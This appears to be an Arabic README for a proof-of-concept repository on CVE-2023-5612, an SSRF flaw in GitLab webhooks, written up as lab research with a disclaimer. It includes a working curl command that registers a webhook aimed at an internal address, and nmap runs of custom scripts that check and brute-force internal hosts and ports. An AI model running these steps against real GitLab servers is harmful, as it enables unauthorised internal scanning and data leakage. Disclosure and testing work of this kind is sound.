
إثبات مفهوم وتحليل لـ CVE-2023-5612، وهو SSRF في webhook الخاص بـ GitLab CE/EE. يتضمن خطوات PoC باستخدام curl وسكربتات NSE مخصصة للتحقق من عناوين URL الداخلية وتخمينها بالقوة الغاشمة.
تسمح ثغرة SSRF في GitLab CE/EE للمهاجمين الذين يمتلكون صلاحيات Maintainer صالحة للمشروع بإرسال طلبات مُعدّة مسبقاً إلى خدمات داخلية عشوائية عبر روابط ويب هوك خبيثة. يؤدي الاستغلال إلى مسح الشبكة الداخلية، تسرب البيانات الوصفية، أو الانتقال إلى أهداف أخرى.
curl -s --header "PRIVATE-TOKEN: <TOKEN>" \
--data-urlencode "url=http://127.0.0.1:8888" \
http://<gitlab-host>:8080/api/v4/projects/<project_id>/hooks
تم تنفيذ الاستغلال في بيئة معملية معزولة:
- Kali Linux داخل آلة افتراضية تم نشرها خصيصاً للاختبار
- نسخة من GitLab CE المتأثر مرفوعة عبر Docker (المنفذ 8080)
- داخل GitLab:
- تم إنشاء مشروع تجريبي
- تم توليد Personal Access Token (glpat-...) بصلاحيات Maintainer
- لهدف SSRF الداخلي، تم رفع خدمة HTTP بسيطة على 127.0.0.1:8888
أُجري البحث على عدة مراحل:
- تأكيد الثغرة يدوياً عبر curl (انظر PoC)
- إنشاء نصوص NSE مخصصة:
gitlab-ssrf.nse: فحص دقيق لـ SSRF
gitlab-ssrf-brute.nse: تخمين تلقائي للعناوين الداخلية
- الاختبار باستخدام nmap -d و --script-trace لتحليل سلوك الـ API وتسجيل النتائج
- استلام رد 401 Unauthorized من الخدمة الداخلية، مما يشير إلى نجاح SSRF
- سيعيد الطلب الناجح `201 Created` أو خطأ بصيغة `401 Unauthorized`، مما يدل على الوصول عبر SSRF.
nmap -p 8080 \
--script ./gitlab-ssrf.nse \
--script-args gitlab.token="<TOKEN>" \
<target-ip>
nmap -p 8080 \
--script ./gitlab-ssrf-brute.nse \
--script-args gitlab.token="<TOKEN>" \
<target-ip>
أثناء العمل على ثغرة **CVE-2023-5612**، تم إعادة سيناريو هجوم SSRF ناجح للوصول إلى العناوين الداخلية عبر واجهة برمجة تطبيقات GitLab CE. يوضح هذا مدى أهمية تقييد قدرات الويب هوك وتنفيذ التحقق من صحة عناوين URL على جانب الخادم.
.
├── gitlab-ssrf.nse # نص NSE للتحقق اليدوي من SSRF
├── gitlab-ssrf-brute.nse # نص NSE للتخمين لمسح المضيفات/الموانئ الداخلية
├── screenshots/ # لقطات شاشة لتنفيذ PoC وتأكيد الثغرة
└── README.md # هذا الملف
Pavel Topskiy
GitHub • محلل أمني، محلل فريق الهجوم الأحمر (Red Team)
تم إجراء جميع الاختبارات في بيئات معملية معزولة على إصدارات متعمدة التعرض للثغرات. لا تستخدم هذا ضد الأنظمة غير المصرح بها. احترم مبادئ الاختراق الأخلاقي.